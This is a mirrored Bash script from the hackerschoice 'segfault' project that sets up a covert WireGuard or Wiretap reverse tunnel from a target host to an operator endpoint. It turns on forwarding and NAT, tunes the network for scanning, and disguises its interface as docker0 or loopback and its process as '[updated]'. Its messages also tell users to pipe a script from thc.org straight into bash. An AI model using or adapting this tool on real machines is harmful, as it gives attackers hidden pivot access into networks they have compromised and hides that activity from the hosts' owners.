mirror of
https://github.com/hackerschoice/segfault.git
synced 2024-06-30 18:51:22 +00:00
434 lines
14 KiB
Bash
Executable File
434 lines
14 KiB
Bash
Executable File
#! /usr/bin/env bash
|
|
|
|
# This script sets a WireGuard or Wiretap reverse tunnel on a target host.
|
|
# The X= configuration is supplied by 'curl sf/net/up'. Thereafter:
|
|
# X=<VERSION>-<PRIV>-<PUB>-<ENDPOINT>-<ALLOWED_IPS>
|
|
# X=$X ./sfwg
|
|
|
|
# Variables:
|
|
#
|
|
# SF_DEBUG=1 Enable debug information and start WT in the foreground
|
|
# TYPE="wireguard:wiretap" Force WireGuard or Wiretap or both
|
|
|
|
# Test IPv6:
|
|
# curl -I 'http://[2606:4700:4700::1111]'
|
|
# ping6 2606:4700:4700::1111
|
|
|
|
init_color()
|
|
{
|
|
# shellcheck disable=SC2034 # Unused
|
|
CY="\e[1;33m" # yellow
|
|
CG="\e[1;32m" # green
|
|
CR="\e[1;31m" # red
|
|
CC="\e[1;36m" # cyan
|
|
# CM="\e[1;35m" # magenta
|
|
# CW="\e[1;37m" # white
|
|
CB="\e[1;34m" # blue
|
|
CF="\e[2m" # faint
|
|
CN="\e[0m" # none
|
|
# CBG="\e[42;1m" # Background Green
|
|
# night-mode
|
|
CDR="\e[0;31m" # red
|
|
CDG="\e[0;32m" # green
|
|
CDY="\e[0;33m" # yellow
|
|
CDB="\e[0;34m" # blue
|
|
CDM="\e[0;35m" # magenta
|
|
CDC="\e[0;36m" # cyan
|
|
CUL="\e[4m"
|
|
}
|
|
|
|
[[ -t 1 ]] && init_color
|
|
|
|
[[ -z $WITHOUT_IPV6 ]] && WITH_IPV6=1
|
|
[[ -z $WITHOUT_TUNE ]] && WITH_TUNE=1
|
|
[[ -z $TYPE ]] && TYPE="wireguard:wiretap"
|
|
[[ -z $UID ]] && UID=$(id -u)
|
|
|
|
ERR(){ echo -e >&2 "[${CR}ERROR${CN}] $*"; }
|
|
|
|
ERREXIT()
|
|
{
|
|
local code
|
|
code="$1"
|
|
|
|
shift 1
|
|
ERR "$@"
|
|
|
|
exit "$code"
|
|
}
|
|
|
|
WARN()
|
|
{
|
|
echo -e >&2 "[${CDY}WARN${CN}] $*"
|
|
}
|
|
|
|
x2data()
|
|
{
|
|
local IFS
|
|
local str
|
|
local ip
|
|
|
|
IFS="-"
|
|
CONF=($X)
|
|
|
|
[[ ${#CONF[@]} -lt 4 ]] && ERREXIT 255 "X= is not a valid configuration string."
|
|
[[ ${#CONF[1]} -ne 44 ]] && ERREXIT 255 "X= does not contain a valid private key."
|
|
[[ ${#CONF[2]} -ne 44 ]] && ERREXIT 255 "X= does not contain a valid public key."
|
|
|
|
[[ -z $SF_VER ]] && SF_VER=${CONF[0]//[^0-9]}
|
|
PRIV=${CONF[1]}
|
|
PEER=${CONF[2]}
|
|
EP=${CONF[3]}
|
|
|
|
[[ -z $SF_VER ]] && ERREXIT 255 "X= contains a bad version number."
|
|
|
|
str=${CONF[4]}
|
|
str="${str//[^0-9a-f,x:.\/]}"
|
|
[[ -n $str ]] && {
|
|
# Format: "172.16.0.x/16,fd:16::x/104"
|
|
ip=${str%%,*}
|
|
PEER_ADDRESS="${ip//x/0}" # 172.16.0.0/16
|
|
ip=${ip%/*}
|
|
ADDRESS="${ip//x/1}/32" # 172.16.0.0/32
|
|
# IPv6
|
|
ip=${str##*,}
|
|
PEER_ADDRES6="${ip//x/0}" # fd:16::0/104
|
|
ip=${ip%/*}
|
|
ADDRES6="${ip//x/1}/128" # fd:16::1/128
|
|
}
|
|
|
|
[[ -z $ADDRESS ]] && ADDRESS="172.16.0.1/32"
|
|
[[ -z $ADDRES6 ]] && ADDRES6="fd:16::1/128"
|
|
[[ -z $PEER_ADDRESS ]] && PEER_ADDRESS="172.16.0.0/16"
|
|
[[ -z $PEER_ADDRES6 ]] && PEER_ADDRES6="fd:16::0/104"
|
|
}
|
|
|
|
# Delete any IPT rule and add new one
|
|
ipt()
|
|
{
|
|
local first
|
|
local table
|
|
table=$1
|
|
first=$2
|
|
|
|
shift 2
|
|
iptables -t "$table" -D "$@" 2>/dev/null # Delete old rule.
|
|
iptables -t "$table" "$first" "$@"
|
|
}
|
|
|
|
ipt6()
|
|
{
|
|
local first
|
|
local table
|
|
table=$1
|
|
first=$2
|
|
|
|
shift 2
|
|
ip6tables -t "$table" -D "$@" 2>/dev/null # Delete old rule.
|
|
ip6tables -t "$table" "$first" "$@"
|
|
}
|
|
|
|
|
|
sysinc()
|
|
{
|
|
local key
|
|
local val
|
|
key=$1
|
|
val=$2
|
|
[[ $(sysctl -n "$key") -ge $val ]] && return
|
|
sysctl -q -w "${key}=${val}" || WARN "Could not set '${key}=${val}'"
|
|
}
|
|
|
|
sysdec()
|
|
{
|
|
local key
|
|
local val
|
|
key=$1
|
|
val=$2
|
|
[[ $(sysctl -n "$key") -le $val ]] && return
|
|
sysctl -q -w "${key}=${val}" || WARN "Could not set '${key}=${val}'"
|
|
}
|
|
|
|
# Tune Network for scanning.
|
|
tune()
|
|
{
|
|
sysinc net.netfilter.nf_conntrack_max 2097152
|
|
sysdec net.netfilter.nf_conntrack_tcp_timeout_syn_sent 10
|
|
sysdec net.netfilter.nf_conntrack_tcp_timeout_syn_recv 5 # default is 30, 5 because of wg tunnel
|
|
sysdec net.netfilter.nf_conntrack_tcp_timeout_last_ack 5 # default is 30
|
|
sysdec net.netfilter.nf_conntrack_tcp_timeout_fin_wait 10 # default is 120
|
|
sysdec net.netfilter.nf_conntrack_tcp_timeout_close 1 # default is 10
|
|
sysdec net.netfilter.nf_conntrack_tcp_timeout_close_wait 10 # default is 60
|
|
sysdec net.netfilter.nf_conntrack_tcp_timeout_unacknowledged 30 # default is 300
|
|
sysdec net.netfilter.nf_conntrack_tcp_timeout_established 10800 # 3h, default is 5 days
|
|
sysdec net.netfilter.nf_conntrack_icmp_timeout 10 # default is 30
|
|
sysdec net.netfilter.nf_conntrack_udp_timeout 10 # default is 30
|
|
# sysdec net.netfilter.nf_conntrack_udp_timeout_stream=120 # default is 120
|
|
}
|
|
|
|
wg_find_dev()
|
|
{
|
|
local notexist
|
|
local str
|
|
local dev
|
|
|
|
# If user did not specify a device then find
|
|
# an available wireguard device.
|
|
[[ -z $WG_DEV ]] && {
|
|
# Try to 'hide' as any of these interfaces
|
|
for dev in docker0 loopback docker1 sf0; do
|
|
# Record a device that doesnt exist
|
|
str=$(ip -details link show "${dev}" 2>/dev/null) || { [[ -z $notexist ]] && notexist="${dev}"; }
|
|
[[ ${str} == *wireguard* ]] && { WG_DEV="${dev}"; break; } # Found old wireguard device.
|
|
done
|
|
[[ -z $WG_DEV ]] && WG_DEV="${notexist}"
|
|
[[ -z $WG_DEV ]] && ERREXIT 255 "Could not find a free device name. Try ${CDC}export WG_DEV=Blah0${CN}"
|
|
}
|
|
|
|
### Check if it exists.
|
|
ip link show dev "${WG_DEV}" &>/dev/null && ERREXIT 255 "Device ${CDM}${WG_DEV}${CN} already exists.
|
|
Try ${CDC}ip link del ${WG_DEV}${CN} or to use a different device try ${CDC}export WG_DEV=Blah0${CN}"
|
|
}
|
|
|
|
wg_up()
|
|
{
|
|
local fn
|
|
local addr
|
|
command -v ip >/dev/null || { ERR "ip not found. Try ${CDC}apt-get install iproute2${CN}"; return 255; }
|
|
command -v wg >/dev/null || { ERR "${CDM}WireGuard${CN} not installed.\nTry ${CDC}apt install wireguard${CN} or ${CDC}export TYPE=wiretap${CN} to force ${CDM}Wiretap${CN} instead."; return 255; }
|
|
command -v sysctl >/dev/null || { ERR "sysctl not found. Try ${CDC}apt-get install procps${CN}"; return 255; }
|
|
command -v iptables >/dev/null || { ERR "iptables not found. Try ${CDC}apt-get install iptables${CN}"; return 255; }
|
|
command -v ip6tables >/dev/null || { WARN "ip6tables not found. Disabling IPv6"; unset WITH_IPV6; }
|
|
|
|
wg_find_dev
|
|
|
|
[[ $(sysctl -n net.ipv6.conf.all.disable_ipv6 2>/dev/null) -ne 0 ]] && {
|
|
unset WITH_IPV6
|
|
WARN "IPv6 disabled. Try ${CDC}sysctl -w net.ipv6.conf.all.disable_ipv6=0${CN}"
|
|
}
|
|
[[ $(sysctl -n net.ipv4.ip_forward) -eq 0 ]] && sysctl -q -w net.ipv4.ip_forward=1
|
|
[[ $(sysctl -n net.ipv6.conf.all.forwarding) -eq 0 ]] && sysctl -q -w net.ipv6.conf.all.forwarding=1
|
|
|
|
ip link del "${WG_DEV:?}" &>/dev/null
|
|
ip link add "${WG_DEV}" type wireguard || return 255
|
|
|
|
fn="/dev/shm/private.$$"
|
|
echo "$PRIV" >"${fn}"
|
|
addr="${PEER_ADDRESS}"
|
|
[[ -n $WITH_IPV6 ]] && addr+=",${PEER_ADDRES6}"
|
|
# addr="0.0.0.0/0"
|
|
wg set "${WG_DEV}" private-key "${fn}" peer "$PEER" allowed-ips "${addr}" endpoint "${EP}" persistent-keepalive 25 || { ip link del "${WG_DEV}"; return 255; }
|
|
rm -f "${fn}"
|
|
|
|
ip -4 address add "${ADDRESS}" dev "${WG_DEV}" || { ip link del "${WG_DEV}"; return 255; }
|
|
[[ -n $WITH_IPV6 ]] && { ip -6 address add "${ADDRES6}" dev "${WG_DEV}" || unset WITH_IPV6; }
|
|
|
|
ip link set mtu 1420 up dev "${WG_DEV}"
|
|
|
|
ip -4 route add "${PEER_ADDRESS}" dev "${WG_DEV}"
|
|
[[ -n $WITH_IPV6 ]] && { ip -6 route add "${PEER_ADDRES6}" dev "${WG_DEV}" || unset WITH_IPV6; }
|
|
|
|
[[ $(iptables -L FORWARD -n) != *"policy ACC"* ]] && {
|
|
ipt filter -I FORWARD -i "${WG_DEV}" -j ACCEPT
|
|
ipt filter -I FORWARD -o "${WG_DEV}" -j ACCEPT
|
|
}
|
|
|
|
[[ -n $WITH_IPV6 ]] && [[ $(ip6tables -L FORWARD) != *"policy ACC"* ]] && {
|
|
ipt6 filter -I FORWARD -i "${WG_DEV}" -j ACCEPT
|
|
ipt6 filter -I FORWARD -o "${WG_DEV}" -j ACCEPT
|
|
}
|
|
|
|
ipt nat -A POSTROUTING -s "${PEER_ADDRESS}" -j MASQUERADE
|
|
[[ -n $WITH_IPV6 ]] && ipt6 nat -A POSTROUTING -s "${PEER_ADDRES6}" -j MASQUERADE
|
|
|
|
[[ -n $WITH_TUNE ]] && tune
|
|
|
|
echo -e "\
|
|
${CDG}SUCCESS${CN} - ${CDM}WireGuard${CN} started on ${CDY}${WG_DEV}${CN}.
|
|
For status: ${CDC}wg show ${WG_DEV}${CN}
|
|
To stop : ${CDC}ip link del ${WG_DEV}${CN}
|
|
Check the connection on your server:
|
|
${CDC}curl sf/net/show${CN}"
|
|
|
|
return 0
|
|
}
|
|
|
|
# Download wiretap
|
|
wt_dl()
|
|
{
|
|
local arch
|
|
local url
|
|
|
|
command -v tar >/dev/null || ERREXIT 255 "tar not found. Try ${CDC}apt install tar${CN}"
|
|
|
|
arch=$(uname -m)
|
|
url="https://github.com/sandialabs/wiretap/releases/download/v0.2.1/wiretap_0.2.1_${OS}_amd64.tar.gz"
|
|
if [[ $arch == aarch64 ]] || [[ $arch == arm64 ]]; then
|
|
url="https://github.com/sandialabs/wiretap/releases/download/v0.2.1/wiretap_0.2.1_${OS}_arm64.tar.gz"
|
|
elif [[ $arch == i686 ]] || [[ $arch == i386 ]]; then
|
|
url="https://github.com/sandialabs/wiretap/releases/download/v0.2.1/wiretap_0.2.1_${OS}_386.tar.gz"
|
|
elif [[ $arch == *"armv"* ]]; then
|
|
url="https://github.com/sandialabs/wiretap/releases/download/v0.2.1/wiretap_0.2.1_${OS}_armv6.tar.gz"
|
|
fi
|
|
|
|
[[ -f wiretap ]] && rm -f wiretap
|
|
touch wiretap 2>/dev/null || {
|
|
cd /dev/shm || ERREXIT 255 "Change to a writeable directory"
|
|
touch wiretap || ERREXIT 255 "Change to a writeable directory."
|
|
}
|
|
rm -f wiretap
|
|
echo -e "Downloading ${CDM}Wiretap${CN}..."
|
|
IS_DOWNLOADED=1
|
|
command -v curl >/dev/null && {
|
|
DL_CMD="curl -fsSL '$url' | tar xfvz - wiretap"
|
|
curl -fsSL "$url" | tar xfz - wiretap && return
|
|
}
|
|
|
|
command -v wget >/dev/null && {
|
|
DL_CMD="wget -qO- '$url' | tar xfvz - wiretap"
|
|
wget -qO- "$url" | tar xfz - wiretap && return
|
|
}
|
|
unset IS_DOWNLOADED
|
|
[[ -f wiretap ]] && rm -f wiretap &>/dev/null # stale file
|
|
|
|
ERREXIT 255 "Failed to download ${CDM}Wiretap${CN}. Download it from
|
|
${CDB}${CUL}https://github.com/sandialabs/wiretap/releases${CN}
|
|
and start is manually:
|
|
${CDC}wiretap serve --private \"${PRIV}\" --public \"${PEER}\" --endpoint \"${EP}\"${CN}"
|
|
}
|
|
|
|
addenv()
|
|
{
|
|
local varname
|
|
local value
|
|
varname=$1
|
|
value=$2
|
|
|
|
eval export "${varname}"="\$value"
|
|
ENVSTR+="${varname}='${value}' \\ "$'\n'
|
|
}
|
|
|
|
wt_up()
|
|
{
|
|
local is_has_pidof
|
|
local err
|
|
local addr
|
|
local pid
|
|
local pidstr
|
|
local cmd_checkrunning
|
|
local arg
|
|
local n
|
|
local killname
|
|
|
|
[[ -z $OSTYPE ]] && {
|
|
command -v uname >/dev/null || ERREXTI 255 "uname not found. Try ${CDC}apt install coreutils${CN}"
|
|
OSTYPE=$(uname -s)
|
|
}
|
|
OSTYPE="${OSTYPE,,}"
|
|
OS="linux"
|
|
[[ $OSTYPE == *darwin* ]] && OS="darwin"
|
|
|
|
killname="wiretap"
|
|
cmd_checkrunning=()
|
|
CMD_PKILL="killall"
|
|
command -v pkill >/dev/null && CMD_PKILL="pkill"
|
|
|
|
if command -v pidof >/dev/null; then
|
|
is_has_pidof=1
|
|
cmd_checkrunning=("pidof" "[updated]")
|
|
pid=$(pidof '[updated]') && ERREXIT 255 "${CDM}Wiretap${CN} is already running with PID ${CDY}${pid}${CN}. To stop: ${CDC}${CMD_PKILL} '${killname}'${CN}"
|
|
elif command -v pkill >/dev/null; then
|
|
[[ $OS == "darwin" ]] && killname="\[updated\]"
|
|
cmd_checkrunning=("pkill" "-0" "${killname}")
|
|
"${cmd_checkrunning[@]}" && ERREXIT 255 "${CDM}Wiretap${CN} is already running. To stop: ${CDC}pkill '${killname}'${CN}"
|
|
elif command -v killall >/dev/null; then
|
|
cmd_checkrunning=("killall" "-0" "wiretap")
|
|
"${cmd_checkrunning[@]}" && ERREXIT 255 "${CDM}Wiretap${CN} is already running. To stop: ${CDC}killall '${killname}'${CN}"
|
|
fi
|
|
|
|
[[ -d wiretap ]] && { ERR "Directory ${CDY}./wiretap${CN} is in the way"; return 255; }
|
|
if [[ -f wiretap ]]; then
|
|
WARN "Using existing ${CDM}./wiretap${CN}"
|
|
else
|
|
wt_dl
|
|
fi
|
|
peer_addr="${PEER_ADDRESS}"
|
|
[[ -n $WITH_IPV6 ]] && peer_addr+=",${PEER_ADDRES6}"
|
|
|
|
# CWD may have changed by wt_dl
|
|
unset ENVSTR
|
|
## 0.2.0 < wiretap <=0.2.1
|
|
addenv WIRETAP_INTERFACE_PRIVATEKEY "$PRIV"
|
|
addenv WIRETAP_PEER_PUBLICKEY "${PEER}"
|
|
addenv WIRETAP_PEER_ENDPOINT "${EP}"
|
|
|
|
## wiretap >=0.3.1
|
|
addenv WIRETAP_RELAY_INTERFACE_PRIVATEKEY "${PRIV}"
|
|
addenv WIRETAP_RELAY_PEER_PUBLICKEY "${PEER}"
|
|
addenv WIRETAP_RELAY_PEER_ENDPOINT "${EP}"
|
|
addenv WIRETAP_SIMPLE "true"
|
|
|
|
if [[ -z $SF_DEBUG ]]; then
|
|
PATH=".:$PATH" exec -a '[updated]' wiretap serve -q --allowed "${peer_addr}" &>/dev/null &
|
|
else
|
|
PATH=".:$PATH" ./wiretap serve --allowed "${peer_addr}"
|
|
fi
|
|
[[ ${#cmd_checkrunning[@]} -gt 0 ]] && {
|
|
n=0
|
|
err=1
|
|
while [[ $n -lt 5 ]]; do
|
|
"${cmd_checkrunning[@]}" >/dev/null && { unset err; break; }
|
|
((n++))
|
|
sleep 0.5
|
|
done
|
|
if [[ -z $err ]]; then
|
|
[[ -n $is_has_pidof ]] && pidstr=" with pid=${CDY}$(pidof '[updated]')${CN}"
|
|
else
|
|
WARN "Failed to start wiretap."
|
|
echo -e "To run in the foreground:"
|
|
[[ -n $IS_DOWNLOADED ]] && echo -e "${CDC}${DL_CMD:-<download wiretap>}${CN}"
|
|
echo -e "${CDC}${ENVSTR}./wiretap serve --allowed '${peer_addr}'${CN}"
|
|
fi
|
|
}
|
|
|
|
[[ -n $IS_DOWNLOADED ]] && rm -f wiretap
|
|
[[ -n $err ]] && return
|
|
|
|
# problem with gVisor DNAT & wt <=0.3.0 TCP mixup
|
|
WARN "${CDM}Wiretap${CN} is ${CDR}not good${CN} for scanning.
|
|
---> Masscan : ${CDC}-e wgExit --adapter-ip 172.16.0.3-172.16.128.2 --adapter-port 1024-33791${CN}"
|
|
[[ -z $IS_WG_TRIED ]] && {
|
|
echo -e "\
|
|
Alternatively use ${CDM}WireGuard:${CDC}
|
|
${CMD_PKILL} '${killname}'
|
|
export TYPE=wireguard
|
|
X=\"\$X\" bash -c \"\$(curl -fsSL https://thc.org/sfwg)\"${CN}"
|
|
}
|
|
|
|
echo -e "\
|
|
${CDG}SUCCESS${CN} - ${CDM}Wiretap${CN} started as ${CDY}[updated]${CN}${pidstr} in the background.
|
|
---> To stop : ${CDC}${CMD_PKILL} '${killname}'${CN}"
|
|
}
|
|
|
|
[[ -z $X ]] && ERREXIT 255 "The variable ${CDY}X=${CN} is not set. Try
|
|
${CDC}X=<YourConfigurationString> bash -c \"\$(curl -fsSL https://thc.org/sfwg)\"${CN}"
|
|
|
|
x2data
|
|
|
|
[[ ${TYPE} == *wireguard* ]] && IS_WG=1
|
|
[[ ${TYPE} == *wiretap* ]] && IS_WT=1
|
|
[[ -n $IS_WG ]] && [[ $UID -eq 0 ]] && {
|
|
echo -e "${CF}---[[ Attempting WireGuard ]]---------------------------------------------${CN}"
|
|
IS_WG_TRIED=1
|
|
wg_up && exit
|
|
[[ -z $IS_WT ]] && exit # Giving up
|
|
}
|
|
[[ $IS_WT ]] && {
|
|
echo -e "${CF}---[[ Attempting Wiretap ]]-----------------------------------------------${CN}"
|
|
wt_up && exit
|
|
[[ -n $IS_WG_TRIED ]] && exit
|
|
}
|
|
|
|
[[ $IS_WG ]] && [[ $UID -ne 0 ]] && ERREXIT 255 "WireGuard requires root. Try ${CDC}export TYPE=wiretap${CN} instead."
|
|
ERREXIT 255 "Set ${CDM}export TYPE=wiretap${CN} or ${CDM}export TYPE=wireguard${CN}"
|